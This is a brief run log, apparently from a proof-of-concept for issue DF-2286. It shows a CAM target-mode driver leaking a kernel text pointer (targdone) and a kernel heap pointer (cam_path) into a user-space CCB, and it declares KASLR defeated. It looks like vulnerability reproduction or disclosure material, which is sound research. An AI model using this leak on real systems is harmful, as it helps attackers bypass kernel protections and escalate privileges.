DF-2286 / run.log
DF2286: targsim bus=2 DF2286: target mode enabled DF2286: ATIO queued (kernel cbfcnp=&targdone, path=softc->path) DF2286: read() returned user_ccb=0x7fffffdfd7a0 (expect 0x7fffffdfd7a0) DF2286: LEAKED uccb.ccb_h.cbfcnp = 0xffffffff802c8ff0 (KERNEL pointer) DF2286: LEAKED uccb.ccb_h.path = 0xfffff8008d6c0fa0 (KERNEL heap pointer) DF2286: user CCB func_code/status now = 0x332 / 0x1 DF2286: REPRODUCED -- kernel text pointer (targdone) and kernel heap pointer (cam_path) disclosed to the target daemon; KASLR defeated (compare nm targdone) EXIT2286=0 ffffffff802c8ff0 t targdone